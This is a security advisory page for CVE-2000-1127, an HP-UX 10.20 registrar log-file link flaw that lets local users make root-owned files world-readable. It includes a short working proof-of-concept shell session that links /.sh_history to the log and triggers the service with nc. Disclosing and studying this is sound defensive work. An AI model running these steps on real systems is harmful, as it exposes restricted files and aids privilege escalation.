HP-UX registrar Local Arbitrary File Read Vulnerability


CVE-2000-1127 |


HP-UX registrar Local Arbitrary File Read Vulnerability

Bugtraq ID: 1919
Class: Origin Validation Error
CVE: CVE-2000-1127
Remote: No
Local: Yes
Published: Nov 08 2000 12:00AM
Updated: Jul 11 2009 03:56AM
Credit: First posted to Bugtraq by J.A. Gutierrez <[email protected]> on Nov 8, 2000.
Vulnerable: HP HP-UX 10.20
Not Vulnerable:


HP-UX registrar Local Arbitrary File Read Vulnerability

The registrar service that ships with version 10.20 (possibly others) of HP's HP-UX operating system contains a vulnerability that may allow a local user to read any file on the hosts filesystem. The service (which listens on tcp port 1712) writes to a log file, /etc/opt/resmon/log/registrar.log.

Default permissions on the /etc/opt/resmon/log directory allow users to overwrite the log file within it via "mv", which is normally created and written to by root when connections are made to the service.

After mv'ing an existing log file to another location, a malicious user can create a symbolic link to an arbitrary file they do not have read access to with the filename registrar.log in etc/opt/resmon/log. If any connections are made to the registrar service after this, the mode of the file pointed to will change to 0644 (world readable) and log data will be appended to it.

In addition to disclosing to the user restricted information, this may lead to an elevation of privileges for the local attacker.

Exploit / POC

HP-UX registrar Local Arbitrary File Read Vulnerability

$ uname -sr
HP-UX B.10.20
$ cd /etc/opt/resmon/log
$ mv registrar.log registrar.log.orig
$ ls -l /.sh_history
-rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history
$ ln /.sh_history registrar.log
$ nc hpux.example.com 1712 &lt; /etc/motd
$ ls -l /.sh_history
-rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history
$ rm -f registrar.log
$ mv registrar.log.orig registrar.log

Solution / Fix

HP-UX registrar Local Arbitrary File Read Vulnerability

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]


HP-UX registrar Local Arbitrary File Read Vulnerability

© CVE.report 2022 Twitter Nitter Twitter Viewer |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

CVE.report and Source URL Uptime Status status.cve.report